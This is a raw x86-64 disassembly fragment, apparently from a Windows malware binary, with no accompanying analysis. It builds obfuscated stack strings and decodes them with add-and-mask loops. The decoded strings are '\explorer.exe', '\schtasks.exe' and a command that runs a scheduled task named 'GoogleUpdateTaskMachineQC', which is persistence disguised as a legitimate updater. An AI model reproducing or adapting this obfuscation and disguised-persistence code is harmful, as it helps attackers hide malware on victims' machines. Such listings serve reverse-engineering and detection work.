lea rax, [rsp + 0x1660]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
lea rdx, [0x14049eca0]
call fcn.1400019f2
jmp 0x14000478a
movsxd r9, dword [0x14049e044]
lea r8, [0x14049e041]
jmp 0x140004fe3
mov byte [0x14049e080], 1
mov word [0x14049e078], 0x8c
mov word [0x14049e07a], 0x9b
mov word [0x14049e07c], 0x8f
mov word [0x14049e07e], 0x27
mov byte [0x14049e070], 1
lea rcx, [0x14000190d]
call fcn.1400014f0
jmp 0x140004733
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xf1
mov word [rsp + 0x62], 0xfa
mov word [rsp + 0x64], 0xd
mov word [rsp + 0x66], 5
mov word [rsp + 0x68], 1
mov word [rsp + 0x6a], 4
mov word [rsp + 0x6c], 7
mov word [rsp + 0x6e], 0xfa
mov word [rsp + 0x70], 7
mov word [rsp + 0x72], 0xc3
mov word [rsp + 0x74], 0xfa
mov word [rsp + 0x76], 0xd
mov word [rsp + 0x78], 0xfa
mov word [rsp + 0x7a], 0x95
cmp byte [0x14049e048], 0
jne 0x14000513e
mov byte [0x14049e06c], 1
mov eax, 0
lea rcx, [0x14049e050]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x140005118
mov byte [0x14049e048], 1
lea rcx, [0x14000190e]
call fcn.1400014f0
cmp byte [0x14049e06c], 0
je 0x140005170
lea rdx, [0x14049e050]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
add ax, 0x6d6b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140005152
mov byte [0x14049e06c], 0
lea rdx, [0x14049e4d0]
lea rcx, [0x14049e050]
call sub.msvcrt.dll__wcsicmp
lea rdx, [rsp + 0x1660]
test eax, eax
jne 0x140005197
lea rdx, [rsp + 0x1870]
lea rcx, [rsp + 0x140]
lea r8, [0x14049e4d0]
call fcn.140005ebe
test esi, esi
jne 0x140005209
movsxd r9, dword [0x140494e60]
lea r8, [0x140063860]
lea rcx, [rsp + 0xe20]
mov dword [rsp + 0x40], 1
lea rax, [0x14049e0a0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1660]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x140]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
lea rdx, [0x14049e500]
call fcn.1400019f2
jmp 0x14000478a
movsxd r9, dword [0x14049e044]
lea r8, [0x14049e041]
jmp 0x1400051bd
lea rdx, [rsp + 0x5c]
lea rcx, [rsp + 0xc10]
call fcn.140006b25
mov rdx, rax
lea rcx, [rsp + 0xa00]
mov r8d, dword [rsp + 0x5c]
call fcn.140006c6a
lea rcx, [rsp + 0x140]
mov r8d, 0x208
mov edx, 0
call sub.msvcrt.dll_memset
mov word [rsp + 0x60], 0xf1
mov word [rsp + 0x62], 8
mov word [rsp + 0x64], 0xf8
mov word [rsp + 0x66], 0xfd
mov word [rsp + 0x68], 9
mov word [rsp + 0x6a], 0xf6
mov word [rsp + 0x6c], 8
mov word [rsp + 0x6e], 0
mov word [rsp + 0x70], 8
mov word [rsp + 0x72], 0xc3
mov word [rsp + 0x74], 0xfa
mov word [rsp + 0x76], 0xd
mov word [rsp + 0x78], 0xfa
mov word [rsp + 0x7a], 0x95
cmp byte [0x14049ee38], 0
jne 0x1400052fc
mov byte [0x14049ee5c], 1
mov eax, 0
lea rcx, [0x14049ee40]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0xe
jne 0x1400052d6
mov byte [0x14049ee38], 1
lea rcx, [0x1400017cb]
call fcn.1400014f0
cmp byte [0x14049ee5c], 0
je 0x14000532e
lea rdx, [0x14049ee40]
lea rcx, [rdx + 0x1c]
movzx eax, word [rdx]
add ax, 0x756b
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rdx, rcx
jne 0x140005310
mov byte [0x14049ee5c], 0
lea rdx, [rsp + 0x1660]
lea rcx, [rsp + 0x140]
lea r8, [0x14049ee40]
call fcn.140005ebe
mov word [rsp + 0x60], 0xc
mov word [rsp + 0x62], 0x3a
mov word [rsp + 0x64], 7
mov word [rsp + 0x66], 0x16
mov word [rsp + 0x68], 0x59
mov word [rsp + 0x6a], 0x5c
mov word [rsp + 0x6c], 0x55
mov word [rsp + 0x6e], 7
mov word [rsp + 0x70], 0x16
mov word [rsp + 0x72], 0x5b
mov word [rsp + 0x74], 0x55
mov word [rsp + 0x76], 7
mov word [rsp + 0x78], 9
mov word [rsp + 0x7a], 0x2e
mov word [rsp + 0x7c], 0x56
mov word [rsp + 0x7e], 0x56
mov word [rsp + 0x80], 0x4e
mov word [rsp + 0x82], 0x53
mov word [rsp + 0x84], 0x4c
mov word [rsp + 0x86], 0x3c
mov word [rsp + 0x88], 0x57
mov word [rsp + 0x8a], 0x4b
mov word [rsp + 0x8c], 0x48
mov word [rsp + 0x8e], 0x5b
mov word [rsp + 0x90], 0x4c
mov word [rsp + 0x92], 0x3b
mov word [rsp + 0x94], 0x48
mov word [rsp + 0x96], 0x5a
mov word [rsp + 0x98], 0x52
mov word [rsp + 0x9a], 0x34
mov word [rsp + 0x9c], 0x48
mov word [rsp + 0x9e], 0x4a
mov word [rsp + 0xa0], 0x4f
mov word [rsp + 0xa2], 0x50
mov word [rsp + 0xa4], 0x55
mov word [rsp + 0xa6], 0x4c
mov word [rsp + 0xa8], 0x38
mov word [rsp + 0xaa], 0x2a
mov word [rsp + 0xac], 9
mov word [rsp + 0xae], 0xe7
cmp byte [0x14049edd0], 0
jne 0x1400054ec
mov byte [0x14049ee30], 1
mov eax, 0
lea rcx, [0x14049ede0]
movzx edx, word [rsp + rax*2 + 0x60]
mov word [rcx + rax*2], dx
add rax, 1
cmp rax, 0x28
jne 0x1400054c6
mov byte [0x14049edd0], 1
lea rcx, [0x1400017e5]
call fcn.1400014f0
cmp byte [0x14049ee30], 0
je 0x14000551e
lea rdx, [0x14049ede0]
lea rcx, [rdx + 0x50]
movzx eax, word [rdx]
add ax, 0x2919
and ax, 0xff
mov word [rdx], ax
add rdx, 2
cmp rcx, rdx
jne 0x140005500
mov byte [0x14049ee30], 0
lea r8, [rsp + 0x140]
lea rdx, [rsp + 0x1660]
mov qword [rsp + 0x20], r8
lea r9, [0x14049ede0]
mov ecx, 0
call fcn.140006668
jmp 0x14000478a